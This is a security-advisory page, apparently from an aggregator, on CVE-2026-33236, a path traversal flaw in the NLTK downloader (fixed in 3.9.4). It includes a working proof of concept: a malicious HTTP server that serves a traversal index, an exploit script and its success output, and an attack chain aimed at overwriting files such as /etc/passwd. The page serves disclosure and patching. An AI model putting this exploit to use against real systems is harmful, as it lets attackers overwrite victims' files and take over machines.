KEVWire

Security intelligence, with context.

Response snapshot Nov 4, 2026, 04:16 UTC

Back to the wire
Permalink
VulnerabilityCVE-2026-33236

NLTK has a Downloader Path Traversal Vulnerability (AFO) - Arbitrary File Overwrite

The NLTK downloader does not validate the subdir and id attributes when processing remote XML index files. Attackers can control a remote XML index server to provide malicious values containing path traversal sequences (such as ../), which can lead to: 1.

Published Updated

At a glance

Exploited
Not known
Severity
8.1 High (CVSS 3.1)
Chance of exploitation
Not estimated
Sources
1 source

What to do

GitHub lists first patched versions: nltk: 3.9.4. Confirm the affected range and upgrade guidance in the exact advisory.

Read GitHub-reviewed advisory GHSA-469j-vmhf-r6v7 (opens a new tab)

What happened

Vulnerability Description

The NLTK downloader does not validate the subdir and id attributes when processing remote XML index files. Attackers can control a remote XML index server to provide malicious values containing path traversal sequences (such as ../), which can lead to:

1. Arbitrary Directory Creation: Create directories at arbitrary locations in the file system 2. Arbitrary File Creation: Create arbitrary files 3. Arbitrary File Overwrite: Overwrite critical system files (such as /etc/passwd, ~/.ssh/authorized_keys, etc.)

Key Code Locations

Continue reading

1. XML Parsing Without Validation (nltk/downloader.py:253)

self.filename = os.path.join(subdir, id + ext)

- subdir and id are directly from XML attributes without any validation

2. Path Construction Without Checks (nltk/downloader.py:679)

filepath = os.path.join(download_dir, info.filename)

- Directly uses filename which may contain path traversal

3. Unrestricted Directory Creation (nltk/downloader.py:687)

os.makedirs(os.path.join(download_dir, info.subdir), exist_ok=True)

- Can create arbitrary directories outside the download directory

4. File Writing Without Protection (nltk/downloader.py:695)

with open(filepath, "wb") as outfile:

- Can write to arbitrary locations in the file system

Attack Chain

1. Attacker controls remote XML index server
 ↓
2. Provides malicious XML: 
 ↓
3. Victim executes: downloader.download('passwd')
 ↓
4. Package.fromxml() creates object, filename = "../../etc/passwd.zip"
 ↓
5. _download_package() constructs path: download_dir + "../../etc/passwd.zip"
 ↓
6. os.makedirs() creates directory: download_dir + "../../etc"
 ↓
7. open(filepath, "wb") writes file to /etc/passwd.zip
 ↓
8. System file is overwritten!

Impact Scope

1. System File Overwrite

Environment Setup

1. Install NLTK

pip install nltk

2. Prepare malicious server and exploit script (see PoC section)

Reproduction Process

Step 1: Start malicious server

python3 malicious_server.py

Step 2: Run exploit script

python3 exploit_vulnerability.py

Step 3: Verify results

ls -la /tmp/test_file.zip

Malicious Server (malicious_server.py)

#!/usr/bin/env python3
"""Malicious HTTP Server - Provides XML index with path traversal"""
import os
import tempfile
import zipfile
from http.server import HTTPServer, BaseHTTPRequestHandler

# Create temporary directory
server_dir = tempfile.mkdtemp(prefix="nltk_malicious_")

# Create malicious XML (contains path traversal)
malicious_xml = """ 

"""

# Save files
with open(os.path.join(server_dir, "malicious_index.xml"), "w") as f:
 f.write(malicious_xml)

with zipfile.ZipFile(os.path.join(server_dir, "test.zip"), "w") as zf:
 zf.writestr("test.txt", "Path traversal attack!")

# HTTP Handler
class Handler(BaseHTTPRequestHandler):
 def do_GET(self):
 if self.path == '/malicious_index.xml':
 self.send_response(200)
 self.send_header('Content-type', 'application/xml')
 self.end_headers()
 with open(os.path.join(server_dir, 'malicious_index.xml'), 'rb') as f:
 self.wfile.write(f.read())
 elif self.path == '/test.zip':
 self.send_response(200)
 self.send_header('Content-type', 'application/zip')
 self.end_headers()
 with open(os.path.join(server_dir, 'test.zip'), 'rb') as f:
 self.wfile.write(f.read())
 else:
 self.send_response(404)
 self.end_headers()
 
 def log_message(self, format, *args):
 pass

# Start server
if __name__ == "__main__":
 port = 8888
 server = HTTPServer(("0.0.0.0", port), Handler)
 print(f"Malicious server started: http://127.0.0.1:{port}/malicious_index.xml")
 print("Press Ctrl+C to stop")
 try:
 server.serve_forever()
 except KeyboardInterrupt:
 print("\nServer stopped")

Exploit Script (exploit_vulnerability.py)

#!/usr/bin/env python3
"""AFO Vulnerability Exploit Script"""
import os
import tempfile

def exploit(server_url="http://127.0.0.1:8888/malicious_index.xml"):
 download_dir = tempfile.mkdtemp(prefix="nltk_exploit_")
 print(f"Download directory: {download_dir}")
 
 # Exploit vulnerability
 from nltk.downloader import Downloader
 downloader = Downloader(server_index_url=server_url, download_dir=download_dir)
 downloader.download("test_file", quiet=True)
 
 # Check results
 expected_path = "/tmp/test_file.zip"
 if os.path.exists(expected_path):
 print(f"\n✗ Exploit successful! File written to: {expected_path}")
 print(f"✗ Path traversal attack successful!")
 else:
 print(f"\n? File not found, download may have failed")

if __name__ == "__main__":
 exploit()

Execution Results

✗ Exploit successful! File written to: /tmp/test_file.zip
✗ Path traversal attack successful!

Affected package ranges reported by GitHub: nltk: < 3.9.4

Scores and how they were measured

CVSS base severity

8.1

Version 3.1As of

CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:H/A:H

Measurement source (opens a new tab)

How bad it is if exploited. Not a prediction of exploitation or proof you are exposed.

EPSS probability

Not available

A model's estimate of exploitation in the next 30 days, not certainty or your own risk.

Related technology

Follow Python packages (PyPI): RSS feedAll its recordsAsk your AI assistant

Sources

  1. Primary source

    GitHub-reviewed advisory GHSA-469j-vmhf-r6v7 (opens a new tab)

    The public advisory supplies the description, affected package/version ranges, and any listed CVSS metric. GitHub review is not local review.

    Published Checked

  2. Primary source

    GitHub public advisory API page (opens a new tab)

    The API page supplied GHSA-469j-vmhf-r6v7, its actual identifiers, source dates, and structured metrics.

    Published Date not suppliedChecked

Cite this record

For factual claims, cite the primary sources above; cite KEVWire for its compilation, dates, and classifications.

APA

KEVWire. (2026, November 4). NLTK has a Downloader Path Traversal Vulnerability (AFO) - Arbitrary File Overwrite (CVE-2026-33236). https://kevwire.com/record/CVE-2026-33236

MLA

"NLTK has a Downloader Path Traversal Vulnerability (AFO) - Arbitrary File Overwrite (CVE-2026-33236)." KEVWire, 4 Nov. 2026, kevwire.com/record/CVE-2026-33236.

Chicago

KEVWire. "NLTK has a Downloader Path Traversal Vulnerability (AFO) - Arbitrary File Overwrite (CVE-2026-33236)." Last modified November 4, 2026. https://kevwire.com/record/CVE-2026-33236.

Evidence summary (plain text)

NLTK has a Downloader Path Traversal Vulnerability (AFO) - Arbitrary File Overwrite (Mar 19, 2026).
The NLTK downloader does not validate the subdir and id attributes when processing remote XML index files. Attackers can control a remote XML index server to provide malicious values containing path traversal sequences (such as ../), which can lead to:

1. Arbitrary Directory Creation: Create directories at arbitrary locations in the file system
2. Arbitrary File Creation: Create arbitrary files
3. Arbitrary File Overwrite: Overwrite critical system files (such as /etc/passwd, ~/.ssh/authorized_keys, etc.)

1.
CVSS 8.1 (version 3.1; evidence as of Nov 4, 2026; https://github.com/advisories/GHSA-469j-vmhf-r6v7).
Sources:
GitHub-reviewed advisory GHSA-469j-vmhf-r6v7: https://github.com/advisories/GHSA-469j-vmhf-r6v7
GitHub public advisory API page: https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc
Record ID: CVE-2026-33236.
Record origin: Ingested record.
AI evidence: Not assessed.
Known exploitation: Not assessed.
Zero-day status: Not assessed. KEV membership alone does not establish zero-day status.
About this data

This record was ingested from a data source. Retrieved: Nov 4, 2026, 04:15 UTC. Ingestion is not an independent editorial investigation.

A CISA KEV listing documents known exploitation, not necessarily a zero-day; absence from the catalog does not prove a vulnerability has never been exploited.

Technology tags indicate possible relevance, not verified exposure. Confirm the affected product, version, and configuration against your own inventory; KEVWire does not scan your systems.

A personal reading checklist on this device, not verified remediation.

Record JSON

Your account

Email alerts

Email alerts are coming as part of KEVWire Premium: join the waitlist. To follow your stack today, use its RSS feed, which honors your filters, or connect an AI agent through the API.

Suggest an improvement

Ideas, missing sources, corrections, and bugs are all welcome. No account needed. Suggestions are reviewed by a person before anything changes.

Record details

Record detail